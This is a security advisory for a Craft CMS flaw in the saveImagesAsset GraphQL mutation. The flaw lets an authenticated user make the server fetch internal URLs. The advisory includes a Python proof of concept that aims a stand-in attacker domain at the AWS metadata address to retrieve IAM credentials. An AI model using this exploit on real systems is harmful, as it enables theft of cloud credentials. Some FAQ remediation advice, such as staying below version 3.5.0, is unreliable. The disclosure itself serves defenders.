CVE-2026-25492: Craft has a save_images_Asset graphql mutation can be abused to exfiltrate AWS credentials of underlying host
Summary
- The saveimagesAsset graphql mutation allows a user to give a url of an image to download. (Url must use a domain, not a raw IP.) - Attacker sets up domain attacker.domain with an A record of something like 169.254.169.254 (special AWS metadata IP) - Attacker invokes saveimagesAsset with url: http://attacker.domain/latest/meta-data/iam/security-credentials and filename "foo.txt" - Craft fetches sensitive information on attacker's behalf, and makes it available for download at /assets/images/foo.txt - Normal checks to verify that image is valid are bypassed because of .txt extension - Normal checks to verify that url is not an IP address are bypassed because user provided a valid domain that resolves to a sensitive internal IP address
Details
handleUpload() in src/gql/resolvers/mutations/Assets.php contains the code that processes the saveimagesAsset mutation.
It has some basic validation logic for the url parameter (source of the image) and filename parameter (what to save image as):
} elseif (!empty($fileInformation['url'])) { $url = $fileInformation['url'];
// make sure the hostname is alphanumeric and not an IP address $hostname = parseurl($url, PHPURLHOST); if ( !filtervar($hostname, FILTERVALIDATEDOMAIN, FILTERFLAGHOSTNAME) || filtervar($hostname, FILTERVALIDATEIP) ) { throw new UserError("$url contains an invalid hostname."); }
if (empty($fileInformation['filename'])) { $filename = AssetsHelper::prepareAssetName(pathinfo(UrlHelper::stripQueryString($url), PATHINFOBASENAME)); } else { $filename = AssetsHelper::prepareAssetName($fileInformation['filename']); }
$extension = strtolower(pathinfo($filename, PATHINFOEXTENSION)); if (isarray($allowedExtensions) && !inarray($extension, $allowedExtensions, true)) { throw new AssetDisallowedExtensionException(Craft::t('app', "“{$extension}” is not an allowed file extension.")); }
The upshot of this validation is that url must contain a hostname, not an IP, and filename must contain an allowed extension. If the allowed extension is a typical image extension, further validation will be done downstream to verify that the downloaded content is in fact an image.
An authenticated attacker can trick this mutation into fetching sensitive AWS metadata, or other sensitive information from the craft instance's internal network.
- First, the attacker must register a domain -- e.g. attacker.domain. - Next, they must point their domain at the sensitive internal ip they'd like to access (e.g. 169.254.169.254) - Next, they make a request to saveimagesAsset with url set to http://attacker.domain/sensitive/path with filename set to "something.txt" - Finally the attacker makes a http request to retrieve /assets/images/something.txt, which contains sensitive information
PoC
Preconditions
- Graphql access must be enabled - Attacker must have access to a graphql token - Token must be configured to have access to saveimagesAsset mutation - Attacker must have configured a domain, "attacker.domain" pointing to the sensitive internal IP address they'd like to access - .txt must be an allowed extension for uploads via saveimagesAsset (as it is by default)
Code
import requests
Replace GRAPHQLENDPOINT and BEARERTOKEN per target. GRAPHQLENDPOINT = 'http://localhost:8080/actions/graphql/api' TOKEN = '<TOKEN HERE>'
mutation = ''' mutation SaveAsset($file: FileInput!, $title: String, $focalPoint: String) { saveimagesAsset(file: $file, title: $title, focalPoint: $focalPoint) { id title url filename focalPoint dateCreated } } '''
variables = { 'file': { 'url' : "http://attacker.domain/latest/meta-data/iam/security-credentials", 'filename': 'foo.txt'
}, "title": "my photo", "focalPoint": "0.5;0.5"
}
resp = requests.post(GRAPHQLENDPOINT, json={'query': mutation, 'variables': variables}, headers={'Authorization': f'Bearer {TOKEN}'}) print(resp.statuscode, resp.text)
If attack is successful, response to running this script will be something like:
200 {"data":{"saveimagesAsset":{"id":"211403","title":"my photo","url":"http://localhost:8080/assets/volumes/images/foo.txt","filename":"foo.txt","focalPoint":null,"dateCreated":"2025-12-18T09:45:24-08:00"}}}
Attacker can then download sensitive data by fetching http://localhost:8080/assets/volumes/images/foo.txt
Impact
Impacted users must:
- Have graphql enabled - Have a graphql token created with permissions to use saveimagesAsset - Have graphql token stolen by attacker or abused by malicious insider
Impact is heightened if:
- craft is running on something like an AWS EC2 instance, which has a well-known, sensitive internal http address that can be accessed to fetch metadata.
Ultimate result is:
Attacker or malicious insider gets access to infrastructure craft is running on, not just craft itself.
Other sources
Craft CMS is a content management system. In Craft versions 3.5.0 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveimagesAsset GraphQL mutation can be abused to fetch internal URLs by providing a domain name that resolves to an internal IP address, bypassing hostname validation. When a non-image file extension such as .txt is allowed, downstream image validation is bypassed, which can allow an authenticated attacker with permission to use saveimagesAsset to retrieve sensitive data such as AWS instance metadata credentials from the underlying host. This issue is patched in versions 4.16.18 and 5.8.22.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-25492?
CVE-2026-25492 is considered a high severity vulnerability due to the potential exposure of sensitive AWS credentials.
How do I fix CVE-2026-25492?
To fix CVE-2026-25492, update your Craft CMS instance to versions 5.8.22 or later, or ensure you're using versions below 3.5.0.
Which versions of Craft CMS are affected by CVE-2026-25492?
Craft CMS versions 3.5.0 through 4.16.17 and 5.0.0-RC1 through 5.8.21 are affected by CVE-2026-25492.
What type of attack does CVE-2026-25492 allow?
CVE-2026-25492 allows attackers to exfiltrate AWS credentials by exploiting the save_images_Asset GraphQL mutation.
Is immediate action required for CVE-2026-25492?
Yes, immediate action is required to mitigate the risk of credential exposure associated with CVE-2026-25492.